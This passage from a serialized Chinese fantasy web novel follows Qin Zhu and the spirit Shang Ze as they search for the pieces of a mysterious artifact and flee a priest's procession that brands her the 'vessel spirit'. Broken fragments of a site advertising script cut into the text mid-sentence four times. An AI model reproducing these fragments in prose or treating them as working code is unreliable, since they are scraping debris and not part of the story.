芩竹顿了顿,反手拖着他的手握了握,倒叫商则有些无所适从,直着胳膊瞪大眼睛,听她带着探究问道:“现在?那之前呢——活着的时候,总不能你一直都是这个没有灵体的状态。” 被芩竹握着的那只手猛地抽出来,倒把她的手一把压在了被子上,发出一声闷响,商则这举动出奇的快,若要寻常人肯定得吓得一抖,但芩竹睫毛都不带颤的,只是抬眼看过去以示尊重。 而那人也没有恶作剧失败的窘迫,几根手指在芩竹的手腕上轮番点着,换来她疑惑的眼神,再表情思索着前倾身子,说:“要不这样,你答应我一个请求,我就把这个秘密告诉你。” 芩竹试探着抬了抬手,又被商则用了不大不小的力道按回去,她于是也闲下心来,顺着对方的问题问了。 什么请求? “我亲你一下,就告诉你。”商则一本正经道。 芩竹:。 “你这两日在外面学了什么回来?” 那个梦已经想好不去探究了,为何还要跟商则在这里浪费时间,果然是刚醒来脑袋不太清醒……芩竹心头忽然有点微妙的情绪滋生,默默在心里念叨着。 “这叫兴之所起情之所至,若是在话本里,我就该直接——”商则说到一半停下,笑眯眯着看她。 他长得很字面意思上的浓眉大眼,表情温和地看向人时,满脸就写了四个字,纯良无害,当下这个表情和芩竹的样子做对比,不知道的还以为他才是那个对情感衣物所知的人。 芩竹向来不太吃他这一套,但与其这么说,倒不如说她从一开始看的就是商则藏在皮下的人,所以才对他皮面上的表演浑不在意。 此刻也是,她把凑在面前的那张脸缓缓推开,又抽走被他桎梏住的另一只手,下了床,幽幽道:“那话本有没有告诉你,这叫登徒子,你若是真的这么做了,大概已经躺在地上了。” 商则双手撑着床,目光不移,跟着她从这头走到那头洗漱,再看她走到屏风后换衣,才低下脑袋,说:“那两情相悦……” 他不说 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 了,屏风后的那个人三两下拎着换下的衣服走出来,打着哈欠晃到桌前,寻常道:“你自己也这么说,你喜欢我,我对你又没有感觉。” 芩竹说着,拿起那叠烧饼,问他:“这个是给我的吗?” “嗯,应该还热着,”商则又拾起被芩竹扔在一边的玩意把玩着,回答完问题就反驳,“不对,你一定也喜欢我怕,只是你不知道而已。” 每次和商则说话,就像是把这一个月说的字都吐完了,芩竹嚼着饼,听着商则这番自信非常连自己都没法下定论说个对错的言论,只能先选择沉默,喝了口茶。 商则余光看着她,光明正大地偷笑出声,随意拎着那拨浪鼓走到芩竹身边给她添上茶,好笑道:“那你明知道我对你有企图,为什么不拒绝呢。” 芩竹没有回答,连看都没看他一眼,但商则就是莫名从这脑袋顶看出了回答:拒绝了你也不会走。 “行吧,”商则叹气,夹杂着点幽怨,抬手摸摸芩竹的发顶,又给她别歪了的木簪整理了下,才说,“之前是怎么样的还要你猜,但我能告诉你,三年前我还有实体,那年嘛……我应该差些就十八岁了。” 那这么说,梦中的自己,也就是从前那时,她们并没能成功给商则找到失落的其他魂魄,商则还是死了。 可,为何会变成现在这样,只有灵体,还成了她身上这不知名器物的灵。 “之前没有问,但如果让你不管这器物自己于世间游荡,能行吗?”芩竹问。 “当然不行,所以我说离开你我就死了,难受死了,烟消云散的那种。”商则这话说得一点不严重,整句话都像在开玩笑。 芩竹敲敲腰间的黑色器物,仔细想了想梦中的场景,还是什么都没想起来,就也不再思考,专心于面前的饼,点头:“没事,我肯定是要找全这器物的,等找到了你就拿着,到时候走哪里去都不会难受。” 商则摇头,转了个圈坐到窗台上,推起窗子一角漏了些风进来,整个屋子顿时神清气爽,芩竹眯了眯眼,望着眼前浑身藏在朝阳里的红衣小鬼。 ……小灵。 “不可能,这器物和我只认你一个,活着跟着你走南闯北,死了也跟着你埋到地里。” 今日的峡州是个意外的晴天,久违的阳光映衬这红衣落在芩竹眼里,格外明媚,鲜有的把身子平日里那皮下的阴沉晒走了大半。 芩竹难得的愣了下,说:“时间久,话容易失信。” “不可能,且不说你肯定不会半路扔下我,就说我,怎么可能会中途弃你而去呢。这般看来,必定是一路到死了。”商则满不在乎地开口。 听他这说法,倒像是两人生死都是一瞬间,死也是一道的。 芩竹对他的话不予置评,既然这么说了,便也态度随意的和他立下了这诺言,欣赏着窗外的冬日雪景啃完了自己的早饭。 然后起身拍拍商则的肩说:“今天要去广仁寺,你还去吗?” 46. 道别离 广仁寺在峡州一个风景秀丽的山中,当然,那也是大雪之前了。这连年的大雪后,去往广仁寺的山路都好险被埋,要不是石方县的李家还惦记着这个偏远的寺庙,大概真有人会把它忘到天边。 锦书听闻芩竹她们要去广仁寺,想到自己这一路经历的事情,也想跟着她们一起,就带上人手,驾着马车捎了芩竹几人一道去。 本来怕那里对商则这样的灵体有些影响,但商则斩钉截铁说没事,芩竹就也不和他争论,干脆带在身边。 寺庙幽静,之前姜绾还担心在青云寺吓到会不敢进去,到了山门前却完全没事,反而心灵一片宁静,感觉这一路都没有这么舒心,捏着葫芦的手扣紧,看了眼旁边的芩竹。 “走吧,该走了。”芩竹大概能猜到姜绾在想什么,拍拍她的后背,将人领了进去。 锦书她们去请教大师了,这个地方只留了芩竹三个人,说明来意后,姜绾就将葫芦交给了面前面容和蔼的僧人,麦子看着那葫芦,没说什么,静静跟上那位大师,姜绾在原地踌躇一会,也跟了上去。 芩竹目送着她们离开,自己一个人重新出了寺庙。 上山来的石阶被清扫的干净,阳光照在两边的雪地上,随着视线移动,闪着无数的亮光,芩竹两只手揣着,自己给自己捂着暖,眯着眼瞧那雪堆上的光,缓缓呼出一串白气,从水雾中别开眼,眺望山下,不知是对着皑皑白雪,还是难得晴空,道:“眼睛涩。” 肩膀上的布人动了两下,听不出情绪,话说的很慢:“可以流泪,就不涩了。” “是嘛。”芩竹眨眨眼,往前走了两步,像是感觉到了什么,扭头看去,那庙门之上,飞出数道金光,向着阳光最盛的天边而去。 那之下,有人影显出,依旧是穿着那身整齐的衣袍,头发整理的一丝不苟,明明风声很大,但芩竹好像能听见那人在耳边喊她“芩儿”,然后温柔地笑笑,再朝她挥挥手,接着整个消失不见了。 这些金光比起发光的白雪更加刺眼,芩竹却一眨不眨望着。 渐渐的,那些光中走出许多人影,欢快又雀跃,其中有一个落在最后,一走一顿,瘸着腿,向世间看了最后几眼,终于从那跛脚开始重新化为金光,顺着风飘远。 芩竹跟着那些金光望去,那是阳光下的繁城,虽远,但又能看到里面生机勃勃的人们。 眼睛酸涩,却没有流泪,芩竹有另外一种感觉,好像胸口慢慢打开,从石方县开始,装下整个峡州,或者更大。 商则趴在芩竹肩头,看着她被暖阳洒满全身,眼中湿润,惯来无波的表情也像被这暖洋洋的日头晒化了,乍一眼没有变化,可又觉得温柔了许多。 他眼睛都不敢眨,紧紧盯着她,看那人抬了抬眉头,胸口起伏长出了一口气,再抬眼,刚才那一瞬间的变化消失,又成了冰冰凉凉的芩竹。 “好点了吗?”商则问。 芩竹不知他问什么这么问,只说:“桂枝姑姑和小七,与我都不怎么亲近,难过也轮不到我。” “真的吗?”商则仿佛恶魔低语,扒着她的耳朵问。 芩竹将布人捏在手里,在门口寻了个地方坐着:“我心里不疼,不难受,那应该就不是难过。” 手里的布人摇晃着点头:“是了是了。” 很明显的不相信。 芩竹也没有继续辩解,独自坐了会,等来了锦书一行人,被邀请去了马车上,左右等人无事,她就把之前给浔佩看过的那个木人拿出来给锦书两人看,问了问这东西的来处。 “对了小姐,上次我给你提到的就是这个木偶。”浔佩从车外钻进来,捏着木人细细瞧着。锦书经她提醒,也凑过去仔细端详这物件。 木人做工精细,表面光滑,五官样貌都雕刻的一清二楚,若不是心口处被商则凿了个口,这衣服上的花纹都能看得细致。 捡到木人那日是黑夜,而且情况紧急,没有认真看,之后又有其他事情耽搁,同样没有将心放在这木人身上,跟别提这精美的纹样和五官,今日被锦书两人这一提,芩竹再看,竟发现这木人的样子有些眼熟。 木人的身形总不能是个女子,而男子……她压下眉毛,将木人接过来,当下一瞅,这木人的长相竟和商则神似。 “欸,这小人还有点像你养的那只小鬼呢。”浔佩也发现了,笑着开口,被锦书小心拍了下手背,浔佩无辜看过去,见锦书给她使了个眼神向芩竹,后者神情带着思索,正对着木人出神。 浔佩也不知芩竹此刻所想,伸手在芩竹眼前挥了挥,将那人唤回来,锦书清了清嗓子:“这木偶,是我和浔佩一年前见到的。” 芩竹将木人揣回怀里,点头示意她继续说。 “对,我记得清楚还是因为那日是元宵,院里摆了不少礼,这对木人是放在一个锦盒里,就和给小姐的礼物放在一块,我当时还嫌弃那盒子穷酸,打开看了眼,发现是两个男子更奇怪了,正要放回原处就给老爷逮了个正着,臭骂一顿,我才知道那是给老爷送来的东西。” 浔佩看起来真的记忆犹新,比起给芩竹叙述更像是在发牢骚,芩竹耐心听完,然后问:“知道是谁送给李老爷的吗?” 这个很显然浔佩不知道,锦书倒是回答的很快:“是个挺有名气的手艺人,江湖人称刀四。” 她说完后带着些小骄傲道:“听浔佩提过后,那日我刚好碰见爹爹,就记着问了。” “那能不能麻烦你,帮忙找找这位手艺人。”芩竹说。 现在有关身上这破损器物的线索都没有,只有这个和它有些关系的木人,说不定能问问出那人,是谁托他雕得这些东西。 这件事对锦书来说自然不难,只是好奇:“之前我听姜姑娘不是有那神奇的寻人之法吗感觉会比我这人力寻找更快一些。” “不知道怎么回事,这个木人上的气息被盖过了,姜绾找不到具体方向。”芩竹如实说。 之后又随意聊了些事情,等麦子和姜绾出来,便启辰回了石方县,芩竹和两人说了这件事,对方听后也是一口应下来要跟她一起,反正 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 都出门这么久了,大不了走得再远一些,权当游玩了。 临近新年,石方县没了病症烦忧,更是一派喜气,李府上下每个人都挂着笑脸,好不快乐。 这日,芩竹刚睡醒,便和窗口上趴着的三颗脑袋对上视线。 她花了点时间辨别这不是个梦,才坐起身,就听见外面门被轻敲了两下,锦书走了进来:“醒啦?刀四的行踪我找到了。” 芩竹去迎锦书,外面那三颗脑袋也跟着跑进来,新年到了,她们几个也托了李家小姐的福,每人都做了身新衣,浑身毛绒绒的围在暖烘烘的房子里。 “刀四的家里没人,而且看落灰程度,人走了许久。又找了些地方得知,刀四出现是在峡州和遂州交界,同遂州的一位商人交货,然后就失了行踪,直到几个月前,据说有人在遂州边的脚店碰到过他。” 锦书说的慢又认真,最后还补充那脚店的位置:“人传刀四常年闷在自己家中钻研雕工,大都是别人到期去取货,轻易没有人见过他的样子,那位脚店相遇的人还是因为许久之前跟着自家主子去见过一次,才得以记得。” 按那人的话说,这刀四戴个大兜帽,整个人走得畏畏缩缩,一张脸煞白,下巴处有道长疤,除了脸之外的地方裹得严严实实,真像是不敢出门见人的样子。 姜绾边听锦书说话,边展开手上的地图。 石方县在峡州中部,离锦书说的两个地方都很远,芩竹凑过去看,去一趟大概要是一个月的路程。 浔佩抱着手看她们的表情,劝到:“实在不行你们就别走了,等有确切消息了再去也不迟啊?” “有消息也说不准是什么时候了,锦书光查到这些都花了小半月,难道我们几个还在这赖着白吃白住不成?”麦子笑道。 “其——”浔佩不明所以,刚想说自己小姐家大业大养几个人不成问题,刚出声就被锦书轻声打断了,“没关系,我的人继续找,也不冲突,找到了再传信也可以。” 芩竹扭过头来,感觉身后什么拽她的衣服,便和锦书说话边自觉地背过手摊开手心:“好,如果真是找不到,我应该就要回陵南看看了。” 话落,手心也接了个东西上来,低头一看,果然是那布人,只不过比起之前,布人稍微新了些。 这得益于锦书对商则的兴趣很大,但倒不是说对他这个人,而是只觉得商则用来栖身的布人很有意思,特意找人来给他做了个新的身子。 棉花塞得满,布料也是上乘,听姜绾说,是什么锦,几百两银子一匹呢。而且布人不但有身子,还配了好些小衣裳,款式都是那些世家公子常穿的。 这些日子芩竹也在旁边凑过热闹,看她们打扮小布人,而商则本人,则被迫从小人身体里赶了出去,抱臂远远地不屑这种行为。 芩竹捏着手感不错的小人,说:“既然位置我们已经清楚了,那……” 她看了看旁边缩着手的姜绾和麦子,缓缓道:“那我们明日启程?” “当然没问题。”两人齐声道。 47. 游行队 芩竹只让锦书她们送出了城,临行前,还得了一张传音符用来联络,就向之前指出的脚店位置行去。 从石方县出去,大概要经过两个不大的县城就能出峡州,她们往东向北,冒着风雪行了几日,看到了前方路线上在地图中标出的那座县城,临平县。 几人没做停留,一鼓作气进了城,住店修整,打算翌日采买些路上要用的东西再出发,便一齐睡下了。 第二日,芩竹是被一阵沉闷的鼓声号声吵醒。 她眯着眼翻起来推开窗,天刚蒙蒙亮,寒风夹着细碎的雪从推开的小缝里钻进来,吸走了芩竹一身暖意,她瞬间打了个哆嗦,睡意消散。 她们住的店小,不是在大路上,离那中心的大桥还有好些距离,若不是住的高一些,恐怕也看不见那番景象。 窗户推得开了,远远能见到几栋低矮房屋前,飘过两面巨大的旗帜,一片雪白里,那面火红无比醒目,经大风吹过,旗面翻滚展开,金色的纹样看得清晰,像是凤鸟涅槃。 芩竹正看着,房间里传来几道迷糊的嘟囔声,她合上窗,轻手轻脚收拾好自己,出了房门。 刚从门口转出,肩膀就撞上了商则的胸膛,那人站得稳当,她步子放得轻,这一下差点把自己撞回屋,又被罪魁祸首揽着肩膀带回来。 “你去哪了?” “我的身子你带了吗?” 两个人异口同声道。 安静了片刻,商则先开口:“我听见声音,出去看了看。”说着,放下了手。 芩竹也将怀里的东西递出去,问:“是前面那个队伍?” 两人说着走着,已然到了楼下,商则把她拿来的布人推还回去,回答说:“嗯,我远远瞧了一眼,是在祭神吧。” 芩竹在楼下买了包子,又灌满了她的酒壶,想去街道上看看,但想到楼上两个熟睡的人,又坐了回去,改问那上菜的小二。 小二搓搓干冷的手,转向敞开的大门时呵了口白气,再转回来小声道:“是国师举行的祭神游行,每年都有,是为保来年平安顺遂的。” “那面旗帜就是国师的象征了吗?”芩竹也跟着小声。 “这……应该是吧,”小二犯了难,换了个话说,“不过客官若是感兴趣,也可以跟着那队伍走,他们会在城中的大祭台停下,届时还能向玄英真君祈福,图个吉利。” 怎么还有玄英真君的事? 芩竹点点头,伸手交过去几个铜板,看那小二欢喜接过跑走了。 “总是要走,等她们醒了过去看看。” 她喝了口热茶,余光看见腰上的器物。 这东西如今已经寻到四块,整体看着像个长条,不到五指那么宽,这四块拼在一起,又和手掌一样长,她也在没事的时候思考过,这东西黑洞洞的无字无花,究竟是个什么玩意。 商则在挑面前那盘花生米,认认真真夹起来一个,送进嘴里,芩竹收回视线,问他:“这物件你知道是做什么的么?” 那人摇头,丝毫没有自己身为物件主人的自觉,反倒问她:“那你找这个是为了什么?” 芩竹自然答不上来,安分喝水:“不知道,只是醒来就觉得这东西至关重要,必须要找全了。” “找全之后呢?”商则眉眼弯着,撑着脑袋问。 之后……还真不知道。 芩竹沉默,商则犹豫着开口:“你这段日子梦多,是不是回忆了些前尘旧事。” 他这话几乎是肯定,芩竹也没有否认,只说梦境模糊,都是大致景象而已,包括之前所说和商则的相处,亦是恍恍惚惚,一点没有参考价值。 商则趴在桌子半俯身仰头去看芩竹的脸,试探道:“那要不这样,你若好奇从前之事,我大可以讲给你听,那东西咱们不找了?” 嗯? 从杯中漂浮的茶叶上挪开视线,芩竹转眼将目光投向商则的眼睛。 四目相对,一时无言,商则极快地眨眼,趴了回去:“或者……” 他嗫嚅着,最后干脆摸摸后颈,摇了摇头:“算了,当我没说。” 之前还说什么都不记得,为何现在又这么说? 芩竹反盯回去,质问道:“你都记得?” 商则迟钝点头,却没有等到芩竹后半句的追问,反而出口是另一个问题:“说实话,我有点不太相信你会告诉我从前发生的事情。” 他愣了愣,听她继续道:“我没有恶意——好吧,确实是‘不相信’,我认为你会隐瞒我什么,更何况,这物件必须要找,之前说好奇记忆什么的,不过也是顺带而已。” 芩竹说得随意,方才那句质问也同样是轻飘飘的,给商则一种满不在乎的感觉,事实也确实如此。 他看向芩竹腰间那毫不起眼的物件,不屑地撇了下嘴角,花生米被他一口吞了,反握着筷子想去敲上两下。 临近时,芩竹面无表情地把他的手推了回去。 “明明就是你先隐瞒的,难道还要和它置气?”芩竹一张脸冷冰冰,商则顿时就缩了回去,继续撑着脑袋吃花生米。 芩竹看他一个接一个嚼得那么欢,于是也自己夹了个尝尝,一般般,商则看到后,狡黠一笑,说:“错了错了,这东西不能这么吃。” “要配这个?”芩竹把桌边的酒壶晃了晃。 “不是。”商则说着,按下她的手,又很快拿着自己的筷子夹起一个送到芩竹面前,扬扬下巴,示意她张嘴。 芩竹不明所以,乖乖配合,看那人一脸笑意地看着自己,于是还非常认真地品了品,诚实地说:“没区别。” 商则很是无所谓,还是那副撑着脑袋地样子,既满足又缓慢地吃着桌上的东西,说:“我怎么越吃越好吃。” “你……”芩竹暂时没和他对上心绪,只是想到了另一个问题,想到便说了,“总不能,你之前残魂的样子,是我造成的,所以才不想让我知道?” 商则:? 席间诡异地沉默了一下,商则忍俊不禁,抬头看向旁边模样认真的人,带着笑意道:“芩竹,你实话和我说,是不是那日之后你自己反倒偷偷去看了话本。” “那日”说的定是商则拿着拨浪鼓在她床头坐的那日,至于看画本……是为什么? 芩竹有点懵,就看商则摇头笑道:“从哪里想得这么曲折的故事,我可是要和你厮守一生白头偕老的,不太想经历这种跌宕起伏的情节。” 芩竹:都什么跟什么…… 她每次都会被商则的鬼话绕乱思绪,经常不知道先将哪一处离谱挑出来,于是短暂的沉默后,她只能先反驳一个比较明显的。 “你现在都是灵体了,再怎么样也白头不了。” “没事,厮守一生也行。”商则粲然一笑。 好啊。 芩竹一直看着他,自然也没有错过这个表情,抵在唇边的茶杯不自觉顿住。 屋外是单调的风雪,而他一身红衣,笑容热烈,尽管那人没有温热的血肉,在此时此刻,却无端让人觉得暖洋洋。 她忽然感觉心尖的地方好像有一只蚂蚁踩过,有些痒。 商则大概是要吃完那一盘花生的,早已低下了头,笑容消失,他浑身的气质也重新变回火山上的寒冰。 芩竹也回过神来,知道那不是痒,而是一种自己不知道的情绪,这个情绪有些熟悉,应该在许久以前某个不起眼的时间里,也发生过。 她没有多想,捏着茶杯的指尖轻抬,喝完了杯中剩余的茶水。 方才那点情绪就像前不久茶上散出的热气,轻而易举便被冷风吹得没了踪影,而她勾起的唇角,大概也只有被吞进肚的茶水看见过了。 …… 姜绾两人醒的不晚,过会便下了楼来,彼时芩竹已经吃好了饭,抱着手臂在桌前打盹,几人坐在一起讨论那条祭神队伍,说等会要去看看。 队伍很长,又走得慢,等她们收拾完追上去时,离那片大祭台还有一段路。 商则也没有回到布人里去,和芩竹几人一起同旁边凑热闹的人们站在队伍最末端。 从他们这个角度看过去,只能看见许多高高的旗帜,接着只听号声鼓音沉重一敲,几个装扮讲究的人从队伍中跃去高台,宽大的袍子舞出奇怪的舞姿,插着长羽的面具在大雪中像是变换了数种表情。 有火焰从祭台四面的长筒中喷出,上面的人口中唱着深沉的调子,声音浑厚,语言神秘,嗡嗡的传播甚远,每一句都在击打着众人的耳膜。 低下的人安静极了,皆是一脸虔诚地望向高台,芩竹三个外来人在状况之外,只觉得氛围低 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 沉不敢乱语,眨着好奇的眼睛在下面观望着,这时候抱胸冷脸的商则就非常突出了。 他站在芩竹身后,旁边还有几个人,见到商则这样不尊重的姿态,不悦地看过来。 麦子注意到,赶紧戳了戳芩竹,后者莫名,扭头看过去,商则就低头对着她眨眨眼,俯身侧耳:“怎么了?” 芩竹看他变脸比那台上的面具都快,也没话说了,摆摆手转过头。 就这期间,回荡在街道上的神秘歌谣已经结束,台上走出一位满脸花纹的高胖中年人,依旧是穿着繁琐的服装,撑着头部不知是雕着什么兽的手杖,张开手向天高呼:“玄英佑我大肃!” “玄英佑我!” 芩竹刚回过头来,就被身边围着的一群人虔诚的呐喊罩了一头,懵然地跟着也喊了声。 接着,台上火焰高涨,中心的祭司念叨着跪下,再起身时权杖顶端的兽嘴张开,像是含了个亮晶晶的东西。 雪花纷飞眯眼,太远看不清,芩竹还以为是见到了之前地道里的夜明珠。 可下一刻,那人猛地将权杖在地面一点,那道光亮迅速向天空各个方向射去,混着天上的白雪,有一瞬间,芩竹觉得阴沉的天都亮了。 底下的人立刻张开手臂抬脸,像是要用身体接下这些光亮。 姜绾也在做着动作,不过和那些人的神情一对比,显然就是去玩的,余光看见身边有人竟然还掏出了个锦囊,立刻询问。 这人捏着锦囊抬上天,半天没有理她,郑重收回手时才回答:“那是玄英真君送来的恩泽,我们这些人看见就是有了福报,更别说能接到的了。” “还能接到?”姜绾一脸惊讶,手臂张得更大。 “是啊。”这人信誓旦旦,见姜绾这般捧场,忍不住又悄声道,“听闻国师的师父就是玄英真君下界之凡胎,才能传得那般护国之法。” 麦子早就对这些仪式失了兴趣,不走只是因为身后还堵着些人,正当无聊听见姜绾两人的对话,也就听了一耳朵,还不忘叫上芩竹。 玄英玄英……芩竹就觉得这神仙名号怎么这般耳熟,听多了再一思索,才记起梦中自己生活的地方。 “不知道那位玄英真君……和玄英顶有什么关系?”芩竹直接问了,为了避免麻烦,她还放低了些音量。 “我也不太清楚,但大家都说,玄英真君那凡胎,下界时就是在玄英顶历劫的,”被搭话的路人见有三个人认真倾听,不好意思的同时还带了点卖弄的感觉,说到一半两边瞅瞅,小声道,“不是都传,三年前陵南府那雷是天雷,劈得就是玄英真君,是上头要带他回去,不然为何那夜过去,连棵草都没被伤到……” 芩竹没从这话里摸索出什么,重新站直,商则却突然出声:“他是男是女?” 他这话没个准确身份,把那路人问得一懵,后才反应过来商则和芩竹她们是一起的,奇怪地打量了商则一番,才说:“我们怎么能妄议这种事……” 可就算是这么说,这位路人还是道:“反正我听人说过,国师算出一个福地,要将玄英真君花重金修建的像挪过去——那像是个男身。” 商则有些怀疑地拧眉,正要再说什么,突然,号声齐响,声音大得将她们几人吓得一激灵,重新把视线投回高台之上。 原本喷高的火焰不知是何缘由突然滚出浓烟,权杖上衔光的兽头此时竟然含着一团黑气,在这寒冷的环境里,看得人心慌。 台下众人交头接耳,指着台上的异样不知所措。 祭司神色严肃,安抚百姓:“诸位莫慌,真君告知阴器器灵之位,是为除之,待我寻得他来!” 话毕,他高呼一声,台上的火焰来回窜动,兽嘴里的黑气挣扎,这模样,似乎是在逼这些黑气出去。 芩竹觉得不太对劲,余光看见麦子也刚好回头,对视一瞬,两人皆是去拉旁边的人,想要挤出人群。 这大庭广众,商则不好直接消失,而且身后围来的人多了,一时半会还真不好走出去。 芩竹正艰难挤着,忽然觉得眼前的景象变得暗了,就听姜绾急道:“有东西罩在你身上!” 她一愣,伸手出来看,发现自己像是被一股黑色的气从头到脚的包裹,耳边充斥着窃窃私语。 “她就是器灵!那个祸害!” 48. 游行队 器灵?那不是商则么! 芩竹心想着,攥拳再张开,黑气在手里绕着不散,它好像还能隔开声音,身旁的话都有些模糊,依稀听着喊什么“替天行道”“除掉祸害”。 她看着旁边蠢蠢欲动的人,心道不好,赶紧松开了拽着麦子的手。 再转眼时,商则已然扫开了身前的一圈人,芩竹刚想说什么,那人扭头过来挥手带起一片冷火,芩竹身上一哆嗦,黑气倏地消失,接着视线耳朵清明,能听见他压着气恼说:“没死,先走。” 芩竹也不再耽误,趁着周围的人畏惧火焰,跟着商则一道冲出了人堆。 麦子被芩竹推开,为的是撇清关系不受她牵连,但商则一把火范围巨大,麦子和姜绾不躲也得躲,再伸着脑袋去看时,那俩人早就没影了。 她们两个混在人堆里探头探脑,却意外看见祭司旁出来个官差装扮的人。 这些人竟然还派了官兵抓人? “三年前就说有阴器现世,这下终于有线索了,可不能给她跑了!” “就是!赶紧除掉一了百了!” 姜绾和麦子两人心里清楚器灵究竟是谁,但之前也从没将商则和传闻里那害人的阴器联系在一起,现在祭司还把器灵的名头按在芩竹身上,怎么想怎么凌乱,听着这么多人说芩竹的不是,心里对祭司的信任更是一扫而空。 “欸!她们刚还和那姑娘一起说话呢,是一伙的!”之前和她们聊天的路人突然道。 一时间人群的关注全部投在姜绾两人身上,她们原本偷摸要溜走的动作被一览无余。 姜绾轻啧一声,梗着脖子道:“谁和她一伙!我们就是不小心站在一起了。” 路人:“我之前还看你们一起说话,举止亲密!” “那我们还和你说了半晌,你也是一伙的!”麦子幽幽道。 那人不说话了,旁人的注视分散,姜绾和麦子绷着表情,装作无所谓地走出人群,互相在对方眼里看到了无奈。 走在街道上还能见到各处巡逻的官兵,麦子心下疑惑,拉着姜绾去问了一嘴,得知他们是早便来了路上,祭司只是给他们个目标,而这命令,也是国师一早便下了的。 “一早?”姜绾干笑两声,显得崇拜,“国师这般厉害,这都能算到?” 官兵冷哼道:“当然,国师日夜操劳就是为了大肃安稳,早日将阴器拔除。” 闻言,麦子对着那官兵行礼,拉着姜绾跑了,在犄角旮旯的小巷里转了半天,才被树枝上的商则叫住。 这处位于巷子尾,刚好有两个高楼挨在一起,又有棵粗壮的枯树挡着,枝丫乱开,芩竹坐在高楼房檐错落中间,商则一身红衣在巷尾那树杈上踩着,浑不在意地喊人。 他这态度太过无畏,反倒把姜绾和麦子操心得半死,食指竖在面前,嘴都快“嘘”烂了,才把那人从树上薅下来。 芩竹只知道商则去找人,但怎么找她不清楚,坐着想去看看时,麦子艰难从房檐爬上来,又听一声短促惊呼,商则飞身登上,拎着姜绾的衣服把她放在芩竹旁边。 “吓死我了……”姜绾拍拍胸脯,惊魂未定之时还不忘给芩竹说了她和麦子刚打听到的事情,“国师就是国师,我算不出来你的行踪,但人家却能提早算出来。” 麦子四肢并用小心挪到几人身边,犹豫反驳:“可他们抓的是器灵啊,总不能芩竹真的是?”说罢,她还看了眼旁边看似事不关己的人,和那人腰间的物件。 檐上落雪,几人坐的并不舒坦,脑袋屁股一起冻,吹着冷风有些不知去向。 半晌,芩竹开口:“你们——” 话刚说一半,就被姜绾打断:“你别想赶我走啊,说好了陪你找到东西的。”麦子没说话,但也没动,抱着腿安静坐着。 芩竹张了张嘴,把剩下半句说完:“你们要不先出城,我们在城外汇合。” 姜绾:“哦……” 商则在稍高处的位置坐着放风,等她们说完才插嘴,问芩竹:“万一我真是那个现世的阴器呢?” “怎么?” “不应该把我交给国师由他处置吗。”商则听着一点也不担心,边说边捏着腿边的雪,捏在手里,变成一个带着手指印的崎岖雪球。 麦子和姜绾也不由得思考这个问题。 “不会,”芩竹说,“我只知道自己的任务是找齐这些,至于你是不是那个传闻中的东西,不在我的考虑之内。” “但如果,找齐之后的你真有毁天灭地之能……”芩竹顿了顿,转身去看商则,身后的人一直在看她,两人对视,商则了然,笑着点头,“放心,不会有让你为难的那天。” 芩竹:“应该不会为难。” 她被一块松散的雪球砸了一下,身后那人语气带笑,而话里却是委屈:“你真的舍得杀了我?” 芩竹把那块散掉的雪球又拢在手中,随意捏了两下丢回去:“那不然呢……” “也成,起码这样你还能把我铭记于心。” 那两人旁若无人,这头麦子默默把下巴抵在膝盖上,没眼看,姜绾则是瘪着嘴凑过来,嘟囔着:“他们说什么呢,商则怎么笑得那么讨打。” 麦子:…… “你还小,不懂。” 姜绾:哦。 三人一灵到底没在房顶上呆多久,四颗脑袋从顶上冒出来,小心看着下方巡逻的官兵,麦子压低声音:“我带着姜绾先走,地图留给你们,咱们在城外小河边汇合。” 芩竹点头,目送她们二人下去,起初一切顺利,可待她们绕出巷子走在较宽的路上时,两处的官兵忽然发难,那两人也很快察觉到不对,拔腿就跑。 “商则。”芩竹拧眉看着那处,唤了声身边的人,那人应声,瞬间闪身不见,化成一缕红光冲出,接着,麦子两人原本站着的地方燃起大火,官差混乱,待火燃尽再去看时,早已没了麦子和姜绾的踪迹。 “走不了根本走不了……” 还是房顶,几个人窝囊坐在一处感叹。 姜绾小声嚷嚷:“总不能让商则跑一路烧一路吧。” 芩竹站起来拍 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 拍身后的雪,四处看了看,发现前面这高楼似乎是个酒楼,从侧边能望见院里的马车。 她示意商则去看:“能不能把这车弄出来?” “有点难,”商则诚实道,两下跃至对面的院墙上,观察了下,又转头道,“院里有后门,你们从旁边绕出来这里,等我过去。” 说着便跃进了院子。 房上几人闻言,立刻照办,路过那院子的时候,芩竹还不忘给院墙里扔些银子。 约莫半盏茶后,一辆浴火的马车从临平县街道上驰行,路人不明所以,道路两边的官差更是莫名,待反应过来,才抄起家伙去追。 车厢里缩着麦子和姜绾,两人抱着团不敢乱动,生怕被烫平在车壁上,芩竹驾车,直冲向城门口。 远远能望见门□□叉拦着的长戟,芩竹微一扯缰绳,避开面前站定的守城兵,从怀里掏出一个令牌。 那守城兵见到令牌,手上的长刀犹豫着:“峡州李氏?!可——” 芩竹看着前面的人,缰绳在手里紧握。 这时,从车后跑出个同样官差打扮的人,笑着拦下那个守城兵,对着芩竹一拱手:“刚来的兄弟不懂事,您先行。” 然后对着门口站立的小兵抬手招呼:“让路!” 芩竹稍放松了手,道了声“多谢”,一甩缰绳,马车便朝前冲去。 旁边的守城兵有些不放心,弱弱道:“那个不是今早祭司下令要逮捕的人吗,咱们这么给放了会不会……” 另一个放人的官差横他一眼,说:“她拿的令牌你也见到了,祭司每年就来这么一次,李家呢?” 守城兵听后还是神情不自然,被官差在后脑拍了一巴掌,骂道:“怕什么,那令牌可是李家小姐独有的,有人问你就说不知道,就算你被追责,后续也有人保你。” “那就好……” 跑到城外的马车渐渐熄了火,芩竹拉停马,摸索了下手上的令牌,不大的精致牌子上,刻了两个大字——锦书。 姜绾从车里探出头,松了口气,叹道:“幸好有这个。不过,如果那人还是不让路呢?” “城门没关,就硬闯。”芩竹说。 麦子跳下车,扶着这白得的一匹马,长舒一口气,转脸问:“那咱们现在怎么办?” 芩竹把地图掏出来辨认一番,又看向河对岸的山林,说:“绕道去峡州边吧,估计下个县城也去不了了。” 